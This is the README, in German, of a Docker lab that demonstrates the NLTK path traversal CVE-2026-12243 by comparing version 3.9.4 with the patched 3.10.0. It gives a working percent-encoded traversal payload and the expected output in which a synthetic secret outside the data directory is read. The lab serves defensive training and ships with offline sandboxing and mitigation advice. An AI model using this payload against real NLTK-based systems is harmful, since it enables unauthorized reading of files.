
# Docker-Lab zur Demonstration von CVE-2026-12243 Path Traversal in NLTK vor 3.10.0 Docker-Lab, das die Path-Traversal-Schwachstelle CVE-2026-12243 in NLTK vor Version 3.10.0 demonstriert und dabei das verwundbare sowie das gepatchte Verhalten mit einem synthetischen Geheimnis in einer isolierten, offline Umgebung gegenüberstellt.
Ein kleines, reproduzierbares Docker-Lab, das das percent-kodierte Path-Traversal-Verhalten in NLTK 3.9.4 mit dem korrigierten Verhalten in NLTK 3.10.0 vergleicht.
Die verwundbare Version validiert den Ressourcennamen vor der URL-Dekodierung. Die
fixierte Payload %2e%2e/%2e%2e/outside/lab-secret.txt besteht die Prüfung, wird später
zu ../../outside/lab-secret.txt dekodiert und verlässt sowohl das konfigurierte
NLTK-Datenverzeichnis als auch das Arbeitsverzeichnis des Prozesses. Die gepatchte Version
weist dieselbe Eingabe zurück.
[!CAUTION] Dieses Repository dient ausschließlich der defensiven Schulung und autorisierten Tests. Das Lab verwendet ein festes synthetisches Geheimnis in einem isolierten Container. Passen Sie es nicht an, um auf Systeme oder Daten zuzugreifen, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testberechtigung haben.
| Container | NLTK-Version | Erwartetes Ergebnis |
|---|---|---|
vulnerable | 3.9.4 | Liest den synthetischen Marker außerhalb von /lab/nltk_data |
patched |
Es wird kein Korpus-Download, Server, Port, Bind-Mount oder eine Internetverbindung zur Laufzeit verwendet.
docker compose)run.shgit clone https://github.com/morzelowski/CVE-2026-12243-NLTK-PoC.git
cd CVE-2026-12243-NLTK-PoC
docker compose build
./run.sh
Erwartetes Ergebnis:
=== Vulnerable image: NLTK 3.9.4 ===
NLTK version : 3.9.4
Working directory : /app
Configured data dir: /lab/nltk_data
Encoded resource : %2e%2e/%2e%2e/outside/lab-secret.txt
Decoded resource : ../../outside/lab-secret.txt
Resolved candidate : /outside/lab-secret.txt
NLTK warning : Security Violation [pathsec.open]: Unauthorized path /outside/lab-secret.txt
NLTK result : read 36 bytes
Synthetic marker : CVE-2026-12243-SYNTHETIC-LAB-MARKER
[PASS] Traversal escaped the configured NLTK data directory.
=== Patched image: NLTK 3.10.0 ===
NLTK version : 3.10.0
NLTK result : blocked (ValueError: Unsafe resource path: '...')
[PASS] Patched version rejected the same encoded traversal.
Lab completed: traversal reproduced and patched rejection verified.
Das betroffene Image meldet, dass /outside/lab-secret.txt nicht autorisiert ist, gibt
seinen Inhalt aber dennoch zurück, da NLTK 3.9.4 standardmäßig nur warnende Pfadsicherheit
verwendet. Ausnahme- und Warnungstexte können leicht variieren; run.sh verwendet den
Prozess-Exit-Status und keinen fragilen Textabgleich, um zu entscheiden, ob die
Demonstration bestanden wurde.
Jedes Image enthält dieses bewusst getrennte Layout:
/
├── app/
│ └── poc.py # process CWD is /app
├── lab/
│ └── nltk_data/ # configured NLTK search root
└── outside/
└── lab-secret.txt # public synthetic marker
poc.py ersetzt nltk.data.path durch /lab/nltk_data und übergibt den fixierten
Ressourcennamen %2e%2e/%2e%2e/outside/lab-secret.txt an
nltk.data.load(..., format="raw"). In der betroffenen Version erfolgt die Dekodierung
zu spät im Validierungsablauf:
/lab/nltk_data
↓ ../../outside/lab-secret.txt
/outside/lab-secret.txt
Da das Arbeitsverzeichnis /app ist, befindet sich der Canary außerhalb beider
für die Demonstration relevanten Orte: /app und /lab/nltk_data.
Das Skript enthält zwei explizite Assertions:
Jedes andere Ergebnis führt zu einem Exit-Code ungleich Null, sodass automatisierte Prüfungen keinen falschen Erfolg melden können.
Die Compose-Konfiguration begrenzt das Lab absichtlich:
network_mode: none deaktiviert die Netzwerkverbindung, während eine der Demonstrationen läuft.no-new-privileges aktiviert.noexec-temporäres Dateisystem
ist beschreibbar.fixtures/lab-secret.txt, ein öffentlicher Testmarker,
der während des Builds in das Image kopiert wird.Der Image-Build benötigt Zugriff auf den Paketindex, um die beiden festgelegten NLTK- Versionen zu installieren. Die Laufzeitausführung erfolgt offline.
nltk.data.load() oder
nltk.data.find() übergeben wirdDas Lab fixiert 3.9.4, da dies die konkrete Version ist, die im ursprünglichen Bericht genannt wird, und 3.10.0, da dies die erste gepatchte Version ist, die in der Maintainer-Advisory verzeichnet ist.
Aktualisieren Sie NLTK und halten Sie es aktuell:
python -m pip install "nltk>=3.10.0"
Vermeiden Sie außerdem, nicht vertrauenswürdige Ressourcennamen an Dateisystem-Lade-APIs zu übergeben. Wenn eine Benutzerauswahl erforderlich ist, ordnen Sie benutzerorientierte Bezeichner einer Allowlist von anwendungseigenen Ressourcen zu, anstatt Pfade oder URLs direkt zu akzeptieren.
Führen Sie jede Seite unabhängig aus:
docker compose run --rm vulnerable
docker compose run --rm patched
Vollständig aufgelöste Compose-Konfiguration anzeigen:
docker compose config
Lokal erstellte Lab-Images entfernen:
docker compose down --rmi local
permission denied: ./run.sh — führen Sie einmal chmod +x run.sh aus.docker: command not found — installieren Sie Docker Desktop oder Docker Engine.docker compose build --no-cache.aec4fceVeröffentlicht unter der MIT-Lizenz.
3.10.0| Blockiert die kodierte Traversal |